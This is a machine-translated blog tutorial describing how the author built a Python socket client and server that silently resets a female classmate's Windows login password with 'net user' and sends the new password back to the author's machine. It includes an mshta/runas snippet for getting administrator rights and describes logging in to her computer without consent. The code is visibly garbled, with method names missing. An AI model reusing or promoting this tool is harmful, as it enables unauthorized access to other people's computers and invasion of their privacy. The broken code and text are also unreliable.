SoFunction
Updated on 2024-11-15

Python can also play this way with Python changed the boot password of the class flower.

I. Preface

在这里插入图片描述

I was told that her phone was out of order and that I should take a look at it, so I'm sure it's a good idea! I was excited for half an hour, but I just wanted to show off my skills! Five minutes later I fixed it, the computer restarted after the display enter the password, I did not think much directly away. After going back, can I use technology to remotely parse the boot password?

在这里插入图片描述

II. Preparation of tools

Development environment: win10, python3.7
Development tools: pycharm

III. Analysis of project ideas

When I think of remote, I think of creating a connection, and when I think of creating a link, I think of socket sockets (and when I think of sockets, I think of the fact that I don't have a female friend)

在这里插入图片描述

The code for the project is 3 copies (remember that you are taking the server-side code, the customer service code and is sent to someone else)

First the normal process of creating a server-side service

Server-side processes:

  • Creating Sockets
  • -Bind ip and port
  • -Setup Listening
  • -Waiting for the link
  • -Receiving data Printing data
  • -Close link
import socket  # Import sockets
server = (socket.AF_INET, socket.SOCK_STREAM) # Create sockets
(('192.168.246.1', 44444))  # Bind IP/port
(5)  # Listening
print('*********** waiting to connect *********')
conn, addr = ()  # Connection
print(conn) 
print('Client's address:', addr)
client_msg = (1024)
print('The password changed by the client is: %s' % client_msg)
()
()

windows change computer password command: net User username modified password (you can do it yourself to try)

在这里插入图片描述

Client-side processes:

  • Creating Sockets
  • -IP and port of the connected server
  • -Get the account name of the currently used computer
  • -Generate random computer passwords
  • -Execute the command to change the Windows password in the terminal
  • -Send changed password
  • -Close socket
import socket  # Import the modules used
import getpass
import subprocess
import random

client = (socket.AF_INET, socket.SOCK_STREAM) # Create socket instances
((ip, ports))  # Connect to the IP address/port of the server side according to your own situation.
user = ()  # Get computer username
print(user)
psd = ''
for j in range(1, 9): # Generate random numbers 1-9
    m = str((0, 10))
    psd = psd + m

(['net', 'User', user, psd])  # Execute locally (similar to cmd command)
(('utf-8'))  # Send the password to the server
back_msg = (1024)
()  # Close the socket

At this point you can basically try it yourself, but note that the current code can only modify accounts whose permissions are admin.

在这里插入图片描述

Non-admin users need to increase their execution privileges
Execute the cmd file directly with super administrator privileges

@echo off
%1 mshta vbscript:CreateObject("").ShellExecute("","/c %~s0 ::","","runas",1)()&&exit
cd /d "%~dp0"

start python 

IV. Summary

I ended up changing my password and successfully logged in, and was surprised to find her password!

在这里插入图片描述

This Iron Bean doesn't even know how to clean up his full C drive, so he doesn't know much about computers! The class flower is so pretty but she doesn't know much about computers, what an amazing discovery!

PS: I ended up changing it back without moving anything!

This article on Python can also be so play with Python to change the boot password of the class flower of the article is introduced to this, more related to Python change password content please search for my previous articles or continue to browse the following related articles I hope you will support me more in the future!